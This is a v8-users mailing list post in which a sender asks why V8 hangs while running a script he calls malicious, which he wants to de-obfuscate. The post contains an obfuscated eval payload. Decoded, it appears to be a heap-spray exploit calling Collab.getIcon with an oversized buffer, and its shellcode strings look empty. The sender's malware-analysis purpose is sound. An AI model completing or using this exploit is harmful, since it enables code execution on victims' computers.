Hi,
I'm trying to de-obfuscate a java script code by running it in V8.
This particular script has a simple 'eval' call on an obfuscated
string. However, V8 is unable to complete the execution and is stuck
in an infinite loop at some point.
The script is pasted below (Please note this is part of a MALICIOUS
script. Even though it may not load anything by itself, please take
caution and don't try to run it in a browser):
Script:
function pxznz1Uiz(Zafoo7NyJYwSe) { return Zafoo7NyJYwSe.replace(/
[35679]/g, ""); } eval(pxznz1Uiz('75773\r56\n7679\r37\n65v9779a676r3
9533s59h5777e39556l676l663c7o7d553e599 73=6
77u666n39e33s335c5a9599p35e3(737\"973\"756)653;6953\r337\n9799g55a7369r73b535a37g537e997
6976=737 35u3567n53e5963s5733c3a335p57e7795(66\"739\"955)79 769+667
533s5h937e3l76l9556c559o399d5e3;55\r39\n97n799o333p737b59l937o599c79k6
7=577 953u739n596e7s63567c655a36p95e7599(677\"65\"939)567;3
6\r67\n5696h5333e76a6d53e76r56s973i9659z5e7363 76=397
713777035;79\r35769\n77675a75c39l39 69=6
597h976e695a36d95e35r7s39i77z33e777+7375g393a95r7b56a65g6e933.76576l576e363n9696g397t95h5799;97\r97\n77\r967\n5w357h763i737l39e55539
65(6637n7633o395p5397b99l399o5633c93k67.36l365e99n7595g666t97h79<39a59c565l77)67
575n5o59p3b56779l957o36c759k6556+367=3399n9o669p63b57l755o637c6k63569;355\r6\n9f355i69l39l9573b63l9o99c66k7
79=75
39n793o7p69b67l5557o9c7755k7953.56s37753u5b39s539t937r5i537n765g579(55690735,59
3a76c3l99)3;75\r755\n395b3l36o69c573k55 757=5
9n6o5p537b5753l6o93c3k6.6s99u63b3635s93t5r6i9n976g3775(555069,77
965n595o53p93b959l3563o77c6k579.59l573e756n7395g357t9767h37-5596a7c9557l65)7;73\r95935\n396w75h759i56l776e533(576b676l39o6c635k59.99l576e53n677g976t9759h937+5a37c6l67<67053x6460553706060369)9
7b5933l5353o93c3k35 9339=3
76b9l536o56c33k53+59b7l7o53c7756k776+359f763i63l99l9b373l33o3c96375k395;36659\r39\n939m736e7573m35399o55r693y693
75=9 95n337e7w57 5A7r5r635a7y536(69)357;55\r639\n779f975o57537r33559
33(3i766=5730569;39i5<751993830765;3i63+5+75)3957
7m97e93m7739o97593r366y767[7i75]797 977=93 9b6l6o9c59k3 7663+35
7775g593a3333r67b5337a6966g976e99;555\r39\n7v63a699r6
76b579u7399f99f55e7595r9s67i359z7e566 397=973
646573065361397279;97\r737\n656v369a69r359 96b773u37f5f767e67r7
9963=695
65A5r397r6a676y79(6973b9u63f979f5737e37r7s37373i9z56e973)555;5\r9\n6f35o959r6595
757(69356i659=35505;796 93i9<5b37u77f377f9963e39r56s69i96z666e553;596
7i9+957+656)95\r73675\n555{3\r363\n7335b5663u35f3973f99e6r3976[379i9]669
63=9695 7555u7n9e9s937c565a655p56e7635(5567\"763\"59)565;35669\r9\n9}
7666\r976\n73537\r5\n7C65o6356l397l3a57b575.73563g676e7t397I977c593o676n733(95b79u359f99f69e93r57+6369\"655_73773N36.6b9u3739n665d5l559e3553\"369)356;69\r677\n'));
Can anyone suggest what could be causing V8 to be stuck on this?
Thank you,
Ravi
--
v8-users mailing list
[email protected]
http://groups.google.com/group/v8-users
